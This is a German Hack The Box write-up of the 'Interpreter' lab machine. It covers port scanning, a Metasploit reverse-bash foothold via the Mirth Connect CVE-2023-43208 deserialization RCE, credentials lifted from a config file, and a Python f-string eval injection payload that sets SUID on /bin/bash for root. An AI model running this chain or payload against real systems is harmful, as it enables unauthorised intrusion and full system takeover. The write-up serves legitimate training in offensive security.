← Zurück zu Machines

HTB · published

Interpreter

HTB Machine Writeup zu Interpreter mit Mirth Connect RCE, lokaler Service-Analyse und f-string eval Privilege Escalation.

HTBMachineWriteupLinuxMirth ConnectCVE-2023-43208Privilege Escalation

Metadaten

  • Name: Interpreter
  • IP Address: 10.129.244.184
  • Plattform: Linux
  • Kategorie: Web / Integration Services / Local Privilege Escalation
  • Schwierigkeit: Unknown
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Ein Debian-Host betreibt Mirth Connect Administrator 4.4.0. Der initiale Zugriff erfolgt ueber eine pre-auth RCE in Mirth, danach fuehrt ein root-eigener lokaler Flask-Service mit unsicherem eval() zur Rechteausweitung.

Reconnaissance/ Enumeration

initscan:

nmap -Pn -p- --min-rate 5000 -oA scans/nmap_full_tcp 10.129.244.184

Gefundene TCP-Ports:

22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
6661/tcp open  unknown

servicescan:

nmap -Pn -sC -sV -O -p22,80,443,6661 -oA scans/nmap_service 10.129.244.184

Wichtige Ergebnisse:

22/tcp  OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp  Jetty, Mirth Connect Administrator
443/tcp Jetty over TLS, Mirth Connect Administrator, Zertifikat CN=mirth-connect
6661/tcp Mirth channel TCP listener

Die API bestaetigte Mirth Connect 4.4.0:

curl -k -H 'X-Requested-With: OpenAPI' https://10.129.244.184/api/server/version

Mirth Connect 4.4.0 ist fuer CVE-2023-43208 interessant, eine pre-authenticated Deserialization-RCE, die in 4.4.1 behoben wurde.

Exploitation (Foothold)

Der Foothold wurde mit dem passenden Metasploit-Modul erreicht:

msfconsole -q
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.244.184
set RPORT 443
set SSL true
set TARGET 0
set LHOST 10.10.15.121
set LPORT 4444
set payload cmd/unix/reverse_bash
check
run

Die Shell lief als Service-User:

uid=103(mirth) gid=111(mirth) groups=111(mirth)
hostname: interpreter
cwd: /usr/local/mirthconnect

Das System war Debian 12:

Debian GNU/Linux 12 (bookworm)
Linux interpreter 6.1.0-43-amd64

Lateral Movement / User Escalation

Die Datei /usr/local/mirthconnect/conf/mirth.properties enthielt Datenbankzugangsdaten:

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

Mit den Credentials konnten die Mirth-Tabellen enumeriert werden:

mysql -u mirthdb -pMirthPass123! mc_bdd_prod -e "show tables;"

Interessante Tabellen waren CHANNEL, CODE_TEMPLATE, CONFIGURATION, EVENT, PERSON und PERSON_PASSWORD. In CHANNEL lag der Workflow INTERPRETER - HL7 TO XML TO NOTIFY, der auf TCP 6661 lauschte, HL7-Felder in XML transformierte und das Ergebnis an folgenden lokalen Dienst schickte:

http://127.0.0.1:54321/addPatient

Die Mirth-Userdaten zeigten den Benutzer sedric und einen PBKDF2-HMAC-SHA256-Hash. Dieser Pfad war fuer das Verstaendnis der Applikation hilfreich, fuer Root aber nicht zwingend noetig.

Privilege Escalation (Root / Domain)

Lokale Enumeration fand einen root-eigenen Flask-Service:

ps auxww | grep notif
ss -lntup
root /usr/bin/python3 /usr/local/bin/notif.py
127.0.0.1:54321 LISTEN

Die systemd-Unit bestaetigte Root-Ausfuehrung:

/etc/systemd/system/notif.service
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
User=root
WorkingDirectory=/usr/local/bin

Der Endpoint akzeptierte XML-Patientendaten. Input-Tests zeigten, dass Zeichen wie {}, (), Quotes, +, /, ., _ und alphanumerische Zeichen erlaubt waren. Das Verhalten entsprach einer dynamisch gebauten Python-f-string-Auswertung:

eval(f"f'''{template}'''")

Der nutzbare Payload setzte temporaer das SUID-Bit auf /bin/bash:

{__import__('os').system('chmod'+chr(32)+'u+s'+chr(32)+'/bin/bash')}

Ausfuehrung:

python3 shells/notif_eval_privesc.py
ls -l /bin/bash
/bin/bash -p -c 'id'

Proof:

-rwsr-xr-x 1 root root ... /bin/bash
uid=103(mirth) gid=111(mirth) euid=0(root) groups=111(mirth)

Nach dem Proof wurde das SUID-Bit entfernt:

/bin/bash -p -c 'chmod u-s /bin/bash'

Post-Exploitation

  • User Flag: c9137[REDACTED-USER-FLAG]15a4
  • Root Flag: 7c4af[REDACTED-ROOT-FLAG]ee32
  • Screenshots: nicht als Hauptartefakt genutzt
  • Wichtige Dateien:
    • reports/final_walkthrough.md
    • loot/user_flag.txt
    • loot/root_flag.txt
    • shells/notif_eval_privesc.py
    • recon/local_ipv4.txt
    • recon/searchsploit_mirth.txt
  • Relevante Logs oder Proofs:
    • Mirth-Version 4.4.0
    • Shell als mirth
    • /bin/bash -p -c 'id' mit euid=0(root)

Lessons Learned

  • Mirth Connect Administrator 4.4.0 ist kritisch, wenn das Admin-Interface erreichbar ist.
  • Lokale Integrationsdienste sind nach einem Foothold besonders wertvoll, weil sie oft mit hoeheren Rechten laufen.
  • Zeichen-Allowlisting macht eval() nicht sicher, wenn weiterhin Python-Ausdruckssyntax eingeschleust werden kann.
  • Gespeicherte Applikationskonfigurationen sind oft der beste Weg, um interne Workflows und lokale Dienste zu verstehen.

Notizen

  • Der TCP-Port 6661 war der Mirth-Channel-Listener und konnte theoretisch als indirekter Weg zum Notification-Service dienen.
  • Der direkte localhost-POST aus der mirth-Shell war schneller und reproduzierbarer.
  • Der Hash des Mirth-Users sedric waere ein alternativer Pfad zu einem User-Kontext gewesen, war fuer Root aber nicht notwendig.